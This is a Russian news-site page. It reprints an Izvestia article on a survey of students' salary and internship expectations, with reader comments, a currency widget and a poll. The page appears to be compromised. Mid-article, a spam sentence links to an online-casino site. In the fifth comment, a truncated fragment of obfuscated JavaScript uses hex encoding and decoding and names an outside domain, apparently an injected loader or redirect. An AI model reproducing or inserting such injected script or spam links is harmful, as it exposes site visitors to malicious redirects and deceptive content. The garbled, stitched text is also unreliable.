Последние комментарии:

вчера в 12:57 написал ponni
30.11.2024 22:05 написал ponni
23.11.2024 14:11 написал ponni
20.11.2024 22:44 написал ponni
15.11.2024 23:54 написал ponni
09.11.2024 00:00 написал ponni
29.10.2024 18:48 написал ponni
27.10.2024 16:10 написал ТЕРРАН
27.10.2024 16:07 написал ТЕРРАН
27.10.2024 16:04 написал ТЕРРАН
24.10.2024 22:25 написал sprinter
18.10.2024 07:53 написал sprinter
12.10.2024 10:47 написал alex33kaw
10.10.2024 08:51 написал sprinter
02.10.2024 19:41 написал ponni


Завышенные амбиции мешают выпускникам вузов найти работу


Завышенные амбиции мешают выпускникам вузов найти работу


Агентство по работе со студентами Changellenge провело исследование, опросив 2,3 тыс. студентов 25 ведущих университетов страны (МГУ, МГИМО, СПбГУ и др.). Выяснилось, что они не готовы стажироваться меньше чем за 30 тыс. рублей в месяц. На постоянной позиции студенты последних курсов рассчитывают за зарплату в 74 тыс. рублей, а первокурсники уверены, что будут зарабатывать не меньше 100 тыс. рублей в месяц. При этом самыми востребованными сферами работы студенты посчитали консалтинг и банки, а интерес к предприятиям нефти и газа снизился по сравнению с прошлым годом на 5%.

Завышенные ожидания

— У первокурсников самые высокие карьерные ожидания, это очень забавно. Они думают, что сразу станут директорами. Но после первых попыток трудоустроиться начинают постепенно опускаться на землю, — говорит «Известиям» генеральный директор Changellenge Андрей Алясов.

Председатель российского профсоюза студентов и член Общественного совета Министерства образования и науки Алексей Казак считает, что финансовые ожидания студентов напрямую зависят от престижности вуза. Если обучение в обычном университете стоит около 100 тыс. рублей в год, то в вузе с громким именем — в четыре, а иногда и в пять раз дороже.

— Естественно, вложив серьезные деньги в образование, ребята рассчитывают на более высокую зарплату. И это самое большое заблуждение. Для работодателей диплом — это просто корочка, главное — навыки и опыт работы, — поясняет Казак. Такого же мнения придерживаются и сами работодатели.

— Утверждение, что красный диплом или престижный вуз обеспечивают трудоустройство в любую компанию — это миф. Работодатели в первую очередь смотрят на самого кандидата, его желание проявлять личную ответственность за собственное развитие, — сказала начальник отдела массового подбора и обучения персонала московского отделения Альфа-банка Ирина Дробышевская.

Она отметила, что одной из возможностей для студента познакомиться с работодателем и найти работу является стажировка. В Альфа-банке, как и во многих других компаниях, для этого разработаны программы по работе со студентами.

Стажировка вместо практики

Исследование Changellenge показало, что на сегодняшний день большинство студентов и выпускников вузов — 31% — ожидают на стажировке вознаграждение в 30 тыс. рублей, при этом 8% опрошенных готовы во время стажировки работать бесплатно, 4% ответили, что будут стажироваться не меньше чем за 70 тыс. рублей в месяц, а 2% участников согласились бы и на 10 тыс. рублей в месяц.

— Стажировка и практика — это два разных понятия. Практика — стандартная, встроенная в вузовское образование тема, практику проходят бесплатно и для галочки. А стажировка — это работа по договору, при ее прохождении от студента ждут хороших результатов и он должен пахать по 8, а иногда и по 12 часов в день, чтобы зарекомендовать себя и в будущем получить работу, — говорит Андрей Алясов.

Он отметил, что если еще три года назад стажировки были редкостью в России и проходили в основном бесплатно для студентов, то сейчас крупные банки разрабатывают свои программы для стажеров и готовы платить от 20 тыс. до 40 тыс. рублей в месяц.

Однако, по мнению Алексея Казака, стажировки — это эксплуатация студентов: работодатели пользуются тем, что без блата и опыта работы сложно трудоустроиться, и за полноценный рабочий день платят студентам гораздо меньше, чем штатному сотруднику. Выход из этой ситуации Казак видит в том, чтобы обязать вузы обеспечивать молодых специалистов рабочими местами.

Нефть и газ уже не в тренде

По итогам опроса Changellenge также выяснилось, что студенты и выпускники ведущих вузов сейчас предпочитают работать в сфере консалтинга (56%), инвестиций (32%) и в банковской сфере (30%). При этом количество тех, кто хотел бы связать свою карьеру с нефтегазовой сферой по сравнению с прошлым годом снизилось с 24% до 19%. Такое изменение предпочтений Андрей Алясов объясняет активностью компаний конкретных отраслей по взаимодействию с вузами и студентами.

— Консалтинг — очень интересная сфера деятельности, за несколько лет здесь можно попробовать десятки индустрий, плюс сами консалтинговые компании невероятно активны с точки зрения взаимодействия с топ-вузами, им нужны люди. Они устраивают чемпионаты, кейс-мероприятия, лекции, студенты знают и видят их, — сказал Алясов. На создание https://www.rvlk.org/vulkan-udachi сегодня тратится в разы больше времени. Профессиональные разработчики – это супер результат

При этом нефтегазовые компании наоборот очень пассивны и взаимодействуют совсем с небольшим количеством университетов. А на фоне падения цены на нефть интерес студентов к этой отрасли снизился еще больше.

— На интерес студентов к банковской сфере экономическая ситуация никак не повлияла, потому что банки сейчас большое внимание стали уделять подготовке кадров, предоставляют возможность для карьерного роста, — объяснил Андрей Алясов.

По мнению Алексея Казака, банковская сфера, несмотря на финансовый кризис, привлекает студентов тем, что в ней относительно легко найти работу, при этом не нужно быть узким специалистом.

— Я считаю, что лучше получать образование по тем специальностям, которые позволят работать в разных сферах. Сейчас ругают юристов и экономистов, но они никогда не останутся без работы, — уверен Казак.

Источник: http://izvestia.ru/news/613513#ixzz48oJMsnkT






Категория: Новости » Россия » Общество

Комментарии: (12) 

16 мая 2016   2

Информация

Посетители, находящиеся в группе Гости, не могут оставлять комментарии в данной новости.
 

Комментарий № 1:

Написал: Avedi
Их ждет большое разочарование...30ка это их потолок.

Комментарий № 2:

Написал: Lusine
Нашли кого спрашивать,ТГУшники сначала вбухают бабла в учебу,а потом надеются отбить. Откуда ,вот серьезно, у ребят на видео такие фантазии? Среди моих одногруппников никто о 30 и не думал даже (закончили ТГПУ недавно), им и 15-20 тыс. уже радость как молодым специалистам. 

Комментарий № 3:

Написал: Мефодий
(МГУ, МГИМО, СПбГУ
те кто там учится живут в другом мире 

Комментарий № 4:

Написал: Ульяна
ну а что им о 10 тысячах мечтать? тогда учиться никто не будет,держится всё на добром слове

Комментарий № 5:

Написал: klayan
Вуза диплом, красен как ронина кровь.
Касса свободна!  // o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "vseverske.info"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

Комментарий № 6:

Написал: Зоркий Крот
Ну бестолковые.
На виолончелистов учиться надо, миллиардами ворочать будете...

Комментарий № 7:

Написал: Ember
Кто же пойдет на 15 тысяч после 5 лет обучения?

Комментарий № 8:

Написал: Бука
банки, консалтинг.... в шахту!!!!

Комментарий № 9:

Написал: Makarosha
Ну так-то высшее образование и подразумеваю достойную оплату труда... а за 15-20 можно и полы помыть. Надо знать себе цену, а то последнее время работодатели подохренели, потому, что выпускники ВУЗОВ соглашаются на любые условия. Вот вам и маленькие з/п. 

Комментарий № 10:

Написал: JUros87
Цитата: Ульяна
ну а что им о 10 тысячах мечтать? тогда учиться никто не будет,держится всё на добром слове

 

Цитата: Ember
Кто же пойдет на 15 тысяч после 5 лет обучения?

 

Так учиться надо не только на высшее, а есть еще рабочие профессии, среднеспециальное и профессиональное образование, в стране недостаток рабочих специалистов и профессионалов, не надо жить в иллюзиях 90-ых: высшее образование это решение всех проблем, всеми любимые экономисты и юристы уже никому не нужны.

После пяти лет обучения пойдут, а куда им деваться? поступая в вуз надо уже знать свою специальность и предположительное место работы. А как наши абитуриенты поступают в вузы вообще не понятно, в десять вузов подадут заявки, лишь бы попасть на высшее, куда пропихнуться там и учаться, да еще и учаться на сердние оценки, ради того чтобы получить диплом, и вот он готов полуспециалист со средним дипломом. Новое поколение слишком праздное, ленивое и разбалованное

Комментарий № 11:

Написал: Roman
Makarosha,
Чтобы нормально зарабатывать, мало иметь бумажку. Надо иметь руки, голову и навыки, которые позволят зарабатывать для компании больше, чем компания платит сотруднику. Тогда никаких вопросов не будет со стороны работодателя. А любителям попить чаю, сидя вконтакте, за 30-50т.р. - вот им облом.

Комментарий № 12:

Написал: PeterThePig
На заводе толковый машинист/оператор под 40 может зарабатывать. При этом уровень ответственности несравним с линейными руководителями младшего звена, которые получают примерно столько же, или чуть-чуть больше
stroimguru.ru
Курс валюты:
106.1 87↓   $     112.0 2↓  

Опрос дня:

Вы будете делать прививку от коронавируса?

Нет   49.38%
   
Да, планирую   8.64%
   
Да, но если заставят (на работе / для путешествий)   4.94%
   
Уже сделал   27.16%
   
Затрудняюсь ответить   9.88%
   
Всего голосов: 81

Все опросы >>

Архив статей: